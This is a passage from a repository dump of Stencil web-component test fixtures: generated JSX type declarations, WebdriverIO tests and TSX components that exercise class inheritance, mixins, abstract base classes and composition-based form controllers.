InheritanceScalingDemo;\n        \"inheritance-text-input\": InheritanceTextInput;\n        \"sibling-with-mixin\": Omit<SiblingWithMixin, keyof SiblingWithMixinAttributes> & { [K in keyof SiblingWithMixin & keyof SiblingWithMixinAttributes]?: SiblingWithMixin[K] } & { [K in keyof SiblingWithMixin & keyof SiblingWithMixinAttributes as `attr:${K}`]?: SiblingWithMixinAttributes[K] } & { [K in keyof SiblingWithMixin & keyof SiblingWithMixinAttributes as `prop:${K}`]?: SiblingWithMixin[K] };\n        \"ts-target-props\": Omit<TsTargetProps, keyof TsTargetPropsAttributes> & { [K in keyof TsTargetProps & keyof TsTargetPropsAttributes]?: TsTargetProps[K] } & { [K in keyof TsTargetProps & keyof TsTargetPropsAttributes as `attr:${K}`]?: TsTargetPropsAttributes[K] } & { [K in keyof TsTargetProps & keyof TsTargetPropsAttributes as `prop:${K}`]?: TsTargetProps[K] };\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"composition-checkbox-group\": LocalJSX.IntrinsicElements[\"composition-checkbox-group\"] & JSXBase.HTMLAttributes<HTMLCompositionCheckboxGroupElement>;\n            \"composition-radio-group\": LocalJSX.IntrinsicElements[\"composition-radio-group\"] & JSXBase.HTMLAttributes<HTMLCompositionRadioGroupElement>;\n            /**\n             * Main component that demonstrates composition-based scaling\n             * with 3 components and 2 controllers (ValidationController and FocusController)\n             */\n            \"composition-scaling-demo\": LocalJSX.IntrinsicElements[\"composition-scaling-demo\"] & JSXBase.HTMLAttributes<HTMLCompositionScalingDemoElement>;\n            \"composition-text-input\": LocalJSX.IntrinsicElements[\"composition-text-input\"] & JSXBase.HTMLAttributes<HTMLCompositionTextInputElement>;\n            \"extended-cmp\": LocalJSX.IntrinsicElements[\"extended-cmp\"] & JSXBase.HTMLAttributes<HTMLExtendedCmpElement>;\n            \"extended-cmp-cmp\": LocalJSX.IntrinsicElements[\"extended-cmp-cmp\"] & JSXBase.HTMLAttributes<HTMLExtendedCmpCmpElement>;\n            \"extends-abstract\": LocalJSX.IntrinsicElements[\"extends-abstract\"] & JSXBase.HTMLAttributes<HTMLExtendsAbstractElement>;\n            \"extends-cmp-cmp\": LocalJSX.IntrinsicElements[\"extends-cmp-cmp\"] & JSXBase.HTMLAttributes<HTMLExtendsCmpCmpElement>;\n            /**\n             * ConflictsCmp - Demonstrates decorator conflicts in inheritance chains\n             * This component:\n             * 1. Extends ConflictsBase (inherits base decorators)\n             * 2. Defines duplicate decorators with same names but different values/behavior\n             * 3. Verifies component decorators override base decorators\n             * 4. Renders UI showing which version is active (component should win)\n             */\n            \"extends-conflicts\": LocalJSX.IntrinsicElements[\"extends-conflicts\"] & JSXBase.HTMLAttributes<HTMLExtendsConflictsElement>;\n            \"extends-controller-updates\": LocalJSX.IntrinsicElements[\"extends-controller-updates\"] & JSXBase.HTMLAttributes<HTMLExtendsControllerUpdatesElement>;\n            \"extends-direct-state\": LocalJSX.IntrinsicElements[\"extends-direct-state\"] & JSXBase.HTMLAttributes<HTMLExtendsDirectStateElement>;\n            /**\n             * EventsCmp - Demonstrates\n             * @Listen decorator inheritance\n             * This component:\n             * 1. Extends EventBase (inherits base\n             * @Listen decorators)\n             * 2. Adds additional\n             * @Listen decorators\n             * 3. Overrides base event handler\n             * 4. Demonstrates event bubbling and propagation\n             */\n            \"extends-events\": LocalJSX.IntrinsicElements[\"extends-events\"] & JSXBase.HTMLAttributes<HTMLExtendsEventsElement>;\n            \"extends-external\": LocalJSX.IntrinsicElements[\"extends-external\"] & JSXBase.HTMLAttributes<HTMLExtendsExternalElement>;\n            /**\n             * A component that extends from an external library's abstract mixin class.\n             * This tests Bug B: importing abstract mixin classes from a lib - those classes'\n             * members should be properly merged in and have reactivity.\n             */\n            \"extends-external-abstract\": LocalJSX.IntrinsicElements[\"extends-external-abstract\"] & JSXBase.HTMLAttributes<HTMLExtendsExternalAbstractElement>;\n            /**\n             * A component that extends from an external library's component which itself uses a mixin pattern.\n             * This tests Bug A: a project importing/rendering from a lib whose component utilises a mixin/abstract\n             * class pattern - the decorated class members should be properly merged and have reactivity.\n             */\n            \"extends-external-with-mixin\": LocalJSX.IntrinsicElements[\"extends-external-with-mixin\"] & JSXBase.HTMLAttributes<HTMLExtendsExternalWithMixinElement>;\n            \"extends-lifecycle-basic\": LocalJSX.IntrinsicElements[\"extends-lifecycle-basic\"] & JSXBase.HTMLAttributes<HTMLExtendsLifecycleBasicElement>;\n            \"extends-lifecycle-multilevel\": LocalJSX.IntrinsicElements[\"extends-lifecycle-multilevel\"] & JSXBase.HTMLAttributes<HTMLExtendsLifecycleMultilevelElement>;\n            \"extends-local\": LocalJSX.IntrinsicElements[\"extends-local\"] & JSXBase.HTMLAttributes<HTMLExtendsLocalElement>;\n            \"extends-methods\": LocalJSX.IntrinsicElements[\"extends-methods\"] & JSXBase.HTMLAttributes<HTMLExtendsMethodsElement>;\n            /**\n             * MixedDecoratorsCmp - Demonstrates mixed decorator type conflicts in inheritance chains\n             * This component:\n             * 1. Extends MixedDecoratorsBase (inherits base decorators)\n             * 2. Defines conflicting decorators with same names but different decorator types\n             * 3. Verifies runtime behavior when mixed decorator types exist\n             * 4. Renders UI showing which decorator type is active (component decorator type should win)\n             */\n            \"extends-mixed-decorators\": LocalJSX.IntrinsicElements[\"extends-mixed-decorators\"] & JSXBase.HTMLAttributes<HTMLExtendsMixedDecoratorsElement>;\n            \"extends-mixin-cmp\": LocalJSX.IntrinsicElements[\"extends-mixin-cmp\"] & JSXBase.HTMLAttributes<HTMLExtendsMixinCmpElement>;\n            \"extends-mixin-slot-cmp\": LocalJSX.IntrinsicElements[\"extends-mixin-slot-cmp\"] & JSXBase.HTMLAttributes<HTMLExtendsMixinSlotCmpElement>;\n            /**\n             * Test Case #3: Property & State Inheritance Basics\n             * This component extends PropsStateBase to test:\n             * -\n             * @Prop inheritance from base class\n             * -\n             * @State inheritance from base class\n             * - Additional\n             * @Prop and\n             * @State without conflicts\n             * - Property reactivity (inherited props/state trigger re-renders)\n             */\n            \"extends-props-state\": LocalJSX.IntrinsicElements[\"extends-props-state\"] & JSXBase.HTMLAttributes<HTMLExtendsPropsStateElement>;\n            /**\n             * Test Case #5: Render Method Inheritance\n             * This component extends RenderBase to test:\n             * - Render Inheritance: Component render() method calls super.render() to include parent template\n             * - Template Composition: Component composes parent template with additional content and structure\n             * - Slot Integration: Parent template slots work correctly when inherited and extended\n             * - CSS Class Inheritance: CSS classes from parent template maintained in component extension\n             */\n            \"extends-render\": LocalJSX.IntrinsicElements[\"extends-render\"] & JSXBase.HTMLAttributes<HTMLExtendsRenderElement>;\n            \"extends-via-host-cmp\": LocalJSX.IntrinsicElements[\"extends-via-host-cmp\"] & JSXBase.HTMLAttributes<HTMLExtendsViaHostCmpElement>;\n            /**\n             * WatchCmp - Demonstrates\n             * @Watch decorator inheritance\n             * This component:\n             * 1. Extends WatchBase (inherits base\n             * @Watch decorators)\n             * 2. Adds additional\n             * @Watch decorators\n             * 3. Overrides base watch handler (overrideProp)\n             * 4. Demonstrates watch execution order\n             * 5. Demonstrates reactive property chains\n             */\n            \"extends-watch\": LocalJSX.IntrinsicElements[\"extends-watch\"] & JSXBase.HTMLAttributes<HTMLExtendsWatchElement>;\n            \"inheritance-checkbox-group\": LocalJSX.IntrinsicElements[\"inheritance-checkbox-group\"] & JSXBase.HTMLAttributes<HTMLInheritanceCheckboxGroupElement>;\n            \"inheritance-radio-group\": LocalJSX.IntrinsicElements[\"inheritance-radio-group\"] & JSXBase.HTMLAttributes<HTMLInheritanceRadioGroupElement>;\n            /**\n             * Main component that demonstrates inheritance-based scaling\n             * with 3 components and 2 controllers (ValidationController and FocusController)\n             */\n            \"inheritance-scaling-demo\": LocalJSX.IntrinsicElements[\"inheritance-scaling-demo\"] & JSXBase.HTMLAttributes<HTMLInheritanceScalingDemoElement>;\n            \"inheritance-text-input\": LocalJSX.IntrinsicElements[\"inheritance-text-input\"] & JSXBase.HTMLAttributes<HTMLInheritanceTextInputElement>;\n            /**\n             * A component that uses a mixin factory pattern internally.\n             * This tests the scenario where a consumer project imports and renders a component\n             * from an external library, and that component internally uses a mixin pattern.\n             * The mixin's decorated members should be properly merged and reactive.\n             * Used as the extendedTag in tests - renders `.extended-*` elements with mixin defaults.\n             */\n            \"sibling-with-mixin\": LocalJSX.IntrinsicElements[\"sibling-with-mixin\"] & JSXBase.HTMLAttributes<HTMLSiblingWithMixinElement>;\n            \"ts-target-props\": LocalJSX.IntrinsicElements[\"ts-target-props\"] & JSXBase.HTMLAttributes<HTMLTsTargetPropsElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-abstract/cmp.test.ts",
    "content": "import { browser } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\nimport { testSuites } from '../extends-test-suite.test.js';\n\n/**\n * Smoke tests for extending mixin classes. Built with\n *  `tsconfig-es2022.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n */\n\ndescribe('Checks component classes can extend from other, Stencil decorated abstract classes', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-abstract/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.main-prop-1'), { timeout: 5000 });\n    });\n\n    it('renders default values', async () => {\n      const { defaultValue } = await testSuites(frameContent, 'extends-abstract');\n      await defaultValue();\n    });\n\n    it('re-renders values via attributes', async () => {\n      const { viaAttributes } = await testSuites(frameContent, 'extends-abstract');\n      await viaAttributes();\n    });\n\n    it('re-renders values via props', async () => {\n      const { viaProps } = await testSuites(frameContent, 'extends-abstract');\n      await viaProps();\n    });\n\n    it('calls watch handlers', async () => {\n      const { watchHandlers } = await testSuites(frameContent, 'extends-abstract');\n      await watchHandlers();\n    });\n\n    it('calls methods', async () => {\n      const { methods } = await testSuites(frameContent, 'extends-abstract');\n      await methods();\n    });\n  });\n\n  describe('es2022 dist-custom-elements output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      await browser.switchToParentFrame();\n      frameContent = await setupIFrameTest('/extends-abstract/es2022.custom-element.html', 'es2022-custom-elements');\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.main-prop-1'), { timeout: 5000 });\n    });\n\n    it('renders default values', async () => {\n      const { defaultValue } = await testSuites(frameContent, 'extends-abstract');\n      await defaultValue();\n    });\n\n    it('re-renders values via attributes', async () => {\n      const { viaAttributes } = await testSuites(frameContent, 'extends-abstract');\n      await viaAttributes();\n    });\n\n    it('re-renders values via props', async () => {\n      const { viaProps } = await testSuites(frameContent, 'extends-abstract');\n      await viaProps();\n    });\n\n    it('calls watch handlers', async () => {\n      const { watchHandlers } = await testSuites(frameContent, 'extends-abstract');\n      await watchHandlers();\n    });\n\n    it('calls methods', async () => {\n      const { methods } = await testSuites(frameContent, 'extends-abstract');\n      await methods();\n    });\n  });\n\n  describe('hydrate output', () => {\n    it('renders component during SSR hydration via attributes', async () => {\n      // @ts-ignore may not be existing when project hasn't been built\n      const mod = await import('/test-ts-target-output/hydrate/index.mjs');\n      await (await testSuites(document.body, 'extends-abstract')).ssrViaAttrs(mod);\n    });\n\n    it('renders component during SSR hydration via props', async () => {\n      // @ts-ignore may not be existing when project hasn't been built\n      const mod = await import('/test-ts-target-output/hydrate/index.mjs');\n      await (await testSuites(document.body, 'extends-abstract')).ssrViaProps(mod);\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-abstract/cmp.tsx",
    "content": "import { Component, h, Prop, State, Method, Watch } from '@stencil/core';\nimport { Mixin } from './mixin-class.js';\n\n@Component({\n  tag: 'extends-abstract',\n})\nexport class MixinCmp extends Mixin {\n  @Prop() prop1: string = 'default text';\n  @Watch('prop1')\n  prop1Changed(newValue: string) {\n    console.info('main class handler prop1:', newValue);\n  }\n\n  @State() state1: string = 'default state text';\n  @Watch('state1')\n  state1Changed(newValue: string) {\n    console.info('main class handler state1:', newValue);\n  }\n\n  @Method()\n  async method1() {\n    this.prop1 = 'main class method1 called';\n  }\n\n  render() {\n    return (\n      <div>\n        <p class=\"main-prop-1\">Main class prop1: {this.prop1}</p>\n        <p class=\"main-prop-2\">Main class prop2: {this.prop2}</p>\n        <p class=\"main-getter-prop\">Main class getterProp: {this.getterProp}</p>\n        <p class=\"main-state-1\">Main class state1: {this.state1}</p>\n        <p class=\"main-state-2\">Main class state2: {this.state2}</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-abstract/es2022.custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist-custom-elements output</title>\n  <script type=\"module\">\n    import { defineCustomElement } from '/test-ts-target-output/custom-elements/extends-abstract.js';\n    defineCustomElement()\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output</h1>\n  <extends-abstract></extends-abstract>\n</body>\n</html>"
  },
  {
    "path": "test/wdio/ts-target/extends-abstract/es2022.dist.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist output</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output</h1>\n  <extends-abstract></extends-abstract>\n</body>\n</html>"
  },
  {
    "path": "test/wdio/ts-target/extends-abstract/mixin-class.ts",
    "content": "import { Prop, Watch } from '@stencil/core';\nimport { MixinParent } from './mxin-class-parent.js';\n\nexport class Mixin extends MixinParent {\n  @Prop() prop1: string = 'ExtendedCmp text';\n  @Watch('prop1')\n  prop1Changed(newValue: string) {\n    console.info('extended class handler prop1:', newValue);\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-abstract/mxin-class-parent.ts",
    "content": "import { Prop, State, Method, Watch } from '@stencil/core';\n\nexport class MixinParent {\n  /**\n   * Test getter/setter pattern - ensures default value is preserved\n   * and not overwritten with undefined during component initialization.\n   */\n  private _getterProp: string = 'getter default value';\n  @Prop()\n  get getterProp(): string {\n    return this._getterProp;\n  }\n  set getterProp(newValue: string) {\n    this._getterProp = newValue;\n  }\n\n  @Prop() prop1: string = 'ExtendedCmp text';\n  @Watch('prop1')\n  prop1Changed(newValue: string) {\n    console.info('extended class handler prop1:', newValue);\n  }\n  @Prop() prop2: string = 'ExtendedCmp prop2 text';\n  @Watch('prop2')\n  prop2Changed(newValue: string) {\n    console.info('extended class handler prop2:', newValue);\n  }\n\n  @State() state1: string = 'ExtendedCmp state text';\n  @Watch('state1')\n  state1Changed(newValue: string) {\n    console.info('extended class handler state1:', newValue);\n  }\n  @State() state2: string = 'ExtendedCmp state2 text';\n  @Watch('state2')\n  state2Changed(newValue: string) {\n    console.info('extended class handler state2:', newValue);\n  }\n\n  @Method()\n  async method1() {\n    this.prop1 = 'ExtendedCmp method1 called';\n  }\n\n  @Method()\n  async method2() {\n    this.prop1 = 'ExtendedCmp method2 called';\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-cmp/cmp.test.ts",
    "content": "import { browser } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\nimport { testSuites } from '../extends-test-suite.test.js';\n\n/**\n * Smoke tests for extending component classes. Built with\n *  `tsconfig-es2022.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n */\n\ndescribe('Checks component classes can extend from other component classes', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-cmp/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.extended-prop-1'), { timeout: 5000 });\n    });\n\n    it('renders default values', async () => {\n      const { defaultValue } = await testSuites(frameContent, 'extends-cmp-cmp', 'extended-cmp');\n      await defaultValue();\n    });\n\n    it('re-renders values via attributes', async () => {\n      const { viaAttributes } = await testSuites(frameContent, 'extends-cmp-cmp', 'extended-cmp');\n      await viaAttributes();\n    });\n\n    it('re-renders values via props', async () => {\n      const { viaProps } = await testSuites(frameContent, 'extends-cmp-cmp', 'extended-cmp');\n      await viaProps();\n    });\n\n    it('calls watch handlers', async () => {\n      const { watchHandlers } = await testSuites(frameContent, 'extends-cmp-cmp', 'extended-cmp');\n      await watchHandlers();\n    });\n\n    it('calls methods', async () => {\n      const { methods } = await testSuites(frameContent, 'extends-cmp-cmp', 'extended-cmp');\n      await methods();\n    });\n  });\n\n  describe('es2022 dist-custom-elements output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      await browser.switchToParentFrame();\n      frameContent = await setupIFrameTest('/extends-cmp/es2022.custom-element.html', 'es2022-custom-elements');\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      frameEle.waitUntil(async () => !!frameContent.querySelector('.extended-prop-1'), { timeout: 5000 });\n    });\n\n    it('renders default values', async () => {\n      const { defaultValue } = await testSuites(frameContent, 'extends-cmp-cmp', 'extended-cmp');\n      await defaultValue();\n    });\n\n    it('re-renders values via attributes', async () => {\n      const { viaAttributes } = await testSuites(frameContent, 'extends-cmp-cmp', 'extended-cmp');\n      await viaAttributes();\n    });\n\n    it('re-renders values via props', async () => {\n      const { viaProps } = await testSuites(frameContent, 'extends-cmp-cmp', 'extended-cmp');\n      await viaProps();\n    });\n\n    it('calls watch handlers', async () => {\n      const { watchHandlers } = await testSuites(frameContent, 'extends-cmp-cmp', 'extended-cmp');\n      await watchHandlers();\n    });\n\n    it('calls methods', async () => {\n      const { methods } = await testSuites(frameContent, 'extends-cmp-cmp', 'extended-cmp');\n      await methods();\n    });\n  });\n\n  describe('hydrate output', () => {\n    it('renders component during SSR hydration via attributes', async () => {\n      // @ts-ignore may not be existing when project hasn't been built\n      const mod = await import('/test-ts-target-output/hydrate/index.mjs');\n      await (await testSuites(document.body, 'extends-cmp-cmp', 'extended-cmp')).ssrViaAttrs(mod);\n    });\n\n    it('renders component during SSR hydration via props', async () => {\n      // @ts-ignore may not be existing when project hasn't been built\n      const mod = await import('/test-ts-target-output/hydrate/index.mjs');\n      await (await testSuites(document.body, 'extends-cmp-cmp', 'extended-cmp')).ssrViaProps(mod);\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-cmp/cmp.tsx",
    "content": "import { Component, h, Prop, State, Method, Watch } from '@stencil/core';\nimport { ExtendedCmp } from './extended-cmp.js';\n\n@Component({\n  tag: 'extends-cmp-cmp',\n})\nexport class ExtendsCmpCmp extends ExtendedCmp {\n  @Prop() prop1: string = 'default text';\n  @Watch('prop1')\n  prop1Changed(newValue: string) {\n    console.info('main class handler prop1:', newValue);\n  }\n\n  @State() state1: string = 'default state text';\n  @Watch('state1')\n  state1Changed(newValue: string) {\n    console.info('main class handler state1:', newValue);\n  }\n\n  @Method()\n  async method1() {\n    this.prop1 = 'main class method1 called';\n  }\n\n  render() {\n    return (\n      <div>\n        <p class=\"main-prop-1\">Main class prop1: {this.prop1}</p>\n        <p class=\"main-prop-2\">Main class prop2: {this.prop2}</p>\n        <p class=\"main-getter-prop\">Main class getterProp: {this.getterProp}</p>\n        <p class=\"main-state-1\">Main class state1: {this.state1}</p>\n        <p class=\"main-state-2\">Main class state2: {this.state2}</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-cmp/es2022.custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist-custom-elements output</title>\n  <script type=\"module\">\n    import { defineCustomElement as defineExtendedCmp } from '/test-ts-target-output/custom-elements/extended-cmp.js';\n    import { defineCustomElement as defineExtendsCmpCmp } from '/test-ts-target-output/custom-elements/extends-cmp-cmp.js';\n    defineExtendedCmp();\n    defineExtendsCmpCmp();\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output</h1>\n  <extended-cmp></extended-cmp>\n  <extends-cmp-cmp></extends-cmp-cmp>\n</body>\n</html>"
  },
  {
    "path": "test/wdio/ts-target/extends-cmp/es2022.dist.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist output</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output</h1>\n  <extended-cmp></extended-cmp>\n  <extends-cmp-cmp></extends-cmp-cmp>\n</body>\n</html>"
  },
  {
    "path": "test/wdio/ts-target/extends-cmp/extended-cmp-cmp.tsx",
    "content": "import { Component, h, Prop, State, Method, Watch } from '@stencil/core';\n\n@Component({\n  tag: 'extended-cmp-cmp',\n})\nexport class ExtendedCmpCmp {\n  /**\n   * Test getter/setter pattern - ensures default value is preserved\n   * and not overwritten with undefined during component initialization.\n   */\n  private _getterProp: string = 'getter default value';\n  @Prop()\n  get getterProp(): string {\n    return this._getterProp;\n  }\n  set getterProp(newValue: string) {\n    this._getterProp = newValue;\n  }\n\n  @Prop() prop1: string = 'ExtendedCmp text';\n  @Watch('prop1')\n  prop1Changed(newValue: string) {\n    console.info('extended class handler prop1:', newValue);\n  }\n  @Prop() prop2: string = 'ExtendedCmp prop2 text';\n  @Watch('prop2')\n  prop2Changed(newValue: string) {\n    console.info('extended class handler prop2:', newValue);\n  }\n\n  @State() state1: string = 'ExtendedCmp state text';\n  @Watch('state1')\n  state1Changed(newValue: string) {\n    console.info('extended class handler state1:', newValue);\n  }\n  @State() state2: string = 'ExtendedCmp state2 text';\n  @Watch('state2')\n  state2Changed(newValue: string) {\n    console.info('extended class handler state2:', newValue);\n  }\n\n  @Method()\n  async method1() {\n    this.prop1 = 'ExtendedCmp method1 called';\n  }\n\n  @Method()\n  async method2() {\n    this.prop1 = 'ExtendedCmp method2 called';\n  }\n\n  render() {\n    return (\n      <div>\n        <p class=\"extended-prop-1\">Base Extended class prop 1: {this.prop1}</p>\n        <p class=\"extended-prop-2\">Base Extended class prop 2: {this.prop2}</p>\n        <p class=\"extended-state-1\">Base Extended class state 1: {this.state1}</p>\n        <p class=\"extended-state-2\">Base Extended class state 2: {this.state2}</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-cmp/extended-cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\nimport { ExtendedCmpCmp } from './extended-cmp-cmp.js';\n\n@Component({\n  tag: 'extended-cmp',\n})\nexport class ExtendedCmp extends ExtendedCmpCmp {\n  render() {\n    return (\n      <div>\n        <p class=\"extended-prop-1\">Extended class prop 1: {this.prop1}</p>\n        <p class=\"extended-prop-2\">Extended class prop 2: {this.prop2}</p>\n        <p class=\"extended-state-1\">Extended class state 1: {this.state1}</p>\n        <p class=\"extended-state-2\">Extended class state 2: {this.state2}</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-composition-scaling/checkbox-group-cmp.tsx",
    "content": "import { Component, h, State, Element, Event, EventEmitter } from '@stencil/core';\nimport { ReactiveControllerHost } from './reactive-controller-host.js';\nimport { ValidationController } from './validation-controller.js';\nimport { FocusController } from './focus-controller.js';\n\n@Component({\n  tag: 'composition-checkbox-group',\n})\nexport class CheckboxGroupCmp extends ReactiveControllerHost {\n  @Element() el!: HTMLElement;\n  @State() values: string[] = [];\n  @State() helperText: string = 'Select at least one option';\n\n  @Event() valueChange!: EventEmitter<string[]>;\n\n  // Controllers via composition\n  private validation = new ValidationController(this);\n  private focus = new FocusController(this);\n\n  private inputId = `checkbox-group-${Math.random().toString(36).substr(2, 9)}`;\n  private helperTextId = `${this.inputId}-helper-text`;\n  private errorTextId = `${this.inputId}-error-text`;\n\n  componentWillLoad() {\n    super.componentWillLoad(); // Call base class to trigger controllers\n    // Set up validation callback\n    this.validation.setValidationCallback((vals: string[]) => {\n      if (!vals || vals.length === 0) {\n        return 'Please select at least one option';\n      }\n      return undefined;\n    });\n  }\n\n  componentDidLoad() {\n    super.componentDidLoad(); // Call base class to trigger controllers\n  }\n\n  disconnectedCallback() {\n    super.disconnectedCallback(); // Call base class to trigger controllers\n  }\n\n  private handleChange = (e: Event) => {\n    const checkbox = e.target as HTMLInputElement;\n    const value = checkbox.value;\n\n    if (checkbox.checked) {\n      this.values = [...this.values, value];\n    } else {\n      this.values = this.values.filter((v) => v !== value);\n    }\n\n    this.valueChange.emit(this.values);\n    this.validation.validate(this.values);\n  };\n\n  private handleFocus = () => {\n    this.focus.handleFocus();\n  };\n\n  private handleBlur = () => {\n    this.focus.handleBlur();\n    this.validation.handleBlur(this.values);\n  };\n\n  render() {\n    const focusState = this.focus.getFocusState();\n    const validationData = this.validation.getValidationMessageData(this.helperTextId, this.errorTextId);\n\n    return (\n      <div class=\"checkbox-group-container\">\n        <label>Select Options</label>\n        <div class=\"checkbox-group\" tabindex=\"0\" onFocus={this.handleFocus} onBlur={this.handleBlur}>\n          <label>\n            <input\n              type=\"checkbox\"\n              name={this.inputId}\n              value=\"option1\"\n              checked={this.values.includes('option1')}\n              onChange={this.handleChange}\n            />\n            Option 1\n          </label>\n          <label>\n            <input\n              type=\"checkbox\"\n              name={this.inputId}\n              value=\"option2\"\n              checked={this.values.includes('option2')}\n              onChange={this.handleChange}\n            />\n            Option 2\n          </label>\n          <label>\n            <input\n              type=\"checkbox\"\n              name={this.inputId}\n              value=\"option3\"\n              checked={this.values.includes('option3')}\n              onChange={this.handleChange}\n            />\n            Option 3\n          </label>\n        </div>\n        {validationData.hasError && (\n          <div class=\"validation-message\">\n            <div id={validationData.errorTextId} class=\"error-text\">\n              {validationData.errorMessage}\n            </div>\n          </div>\n        )}\n        <div class=\"focus-info\">\n          Focused: {focusState.isFocused ? 'Yes' : 'No'} | Focus Count: {focusState.focusCount} | Blur Count:{' '}\n          {focusState.blurCount}\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-composition-scaling/cmp.test.ts",
    "content": "import { browser, expect } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\n\n/**\n * Tests for composition-based scaling with 3 components and 2 controllers.\n * Built with `tsconfig-es2022.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n *\n * Test Case #16 - Composition-Based Scaling\n * This verifies that:\n * 1. 3 components (TextInput, RadioGroup, CheckboxGroup) work with composition\n * 2. 2 controllers (ValidationController, FocusController) work via composition\n * 3. Lifecycle methods are called automatically via ReactiveControllerHost\n * 4. Validation triggers on blur\n * 5. Focus tracking works\n * 6. Controllers are properly composed (not inherited)\n */\n\ndescribe('Test Case #16 – Composition-Based Scaling (3 components, 2 controllers)', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-composition-scaling/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('composition-scaling-demo'), { timeout: 5000 });\n    });\n\n    it('all 3 components render correctly', async () => {\n      const demo = frameContent.querySelector('composition-scaling-demo');\n      expect(demo).toBeTruthy();\n\n      const textInput = demo?.querySelector('composition-text-input');\n      const radioGroup = demo?.querySelector('composition-radio-group');\n      const checkboxGroup = demo?.querySelector('composition-checkbox-group');\n\n      expect(textInput).toBeTruthy();\n      expect(radioGroup).toBeTruthy();\n      expect(checkboxGroup).toBeTruthy();\n    });\n\n    it('text input validation works on blur', async () => {\n      const demo = frameContent.querySelector('composition-scaling-demo');\n      expect(demo).toBeTruthy();\n\n      // Wait for textInput component to be available\n      await browser.waitUntil(\n        () => {\n          const textInput = demo?.querySelector('composition-text-input');\n          return !!textInput;\n        },\n        { timeout: 5000 },\n      );\n\n      const textInput = demo?.querySelector('composition-text-input');\n      expect(textInput).toBeTruthy();\n\n      // Wait for input element to be available\n      await browser.waitUntil(\n        () => {\n          const input = textInput?.querySelector('input[type=\"text\"]');\n          return !!input;\n        },\n        { timeout: 5000 },\n      );\n\n      const input = textInput?.querySelector('input[type=\"text\"]') as HTMLInputElement;\n      expect(input).toBeTruthy();\n\n      // Focus and blur without entering value - should show error\n      input?.focus();\n      await browser.pause(100);\n      input?.blur();\n      await browser.pause(100); // Give component time to process blur event\n\n      await browser.waitUntil(\n        () => {\n          const errorText = textInput?.querySelector('.error-text');\n          return errorText?.textContent?.includes('Name is required');\n        },\n        { timeout: 5000 },\n      );\n\n      const errorText = textInput?.querySelector('.error-text');\n      expect(errorText?.textContent).toContain('Name is required');\n    });\n\n    it('text input focus tracking works', async () => {\n      const demo = frameContent.querySelector('composition-scaling-demo');\n      expect(demo).toBeTruthy();\n\n      const textInput = demo?.querySelector('composition-text-input');\n      expect(textInput).toBeTruthy();\n\n      // Wait for input and focus-info elements to be available\n      await browser.waitUntil(\n        () => {\n          const input = textInput?.querySelector('input[type=\"text\"]');\n          const focusInfo = textInput?.querySelector('.focus-info');\n          return !!input && !!focusInfo;\n        },\n        { timeout: 5000 },\n      );\n\n      const input = textInput?.querySelector('input[type=\"text\"]') as HTMLInputElement;\n      const focusInfo = textInput?.querySelector('.focus-info');\n\n      expect(input).toBeTruthy();\n      expect(focusInfo).toBeTruthy();\n\n      // Initial state should show not focused\n      expect(focusInfo?.textContent).toContain('Focused: No');\n      expect(focusInfo?.textContent).toContain('Focus Count: 0');\n\n      // Focus the input\n      input?.focus();\n      await browser.pause(100);\n\n      await browser.waitUntil(\n        () => {\n          const info = textInput?.querySelector('.focus-info')?.textContent;\n          return info?.includes('Focused: Yes') && info?.includes('Focus Count: 1');\n        },\n        { timeout: 5000 },\n      );\n\n      // Blur the input\n      input?.blur();\n      await 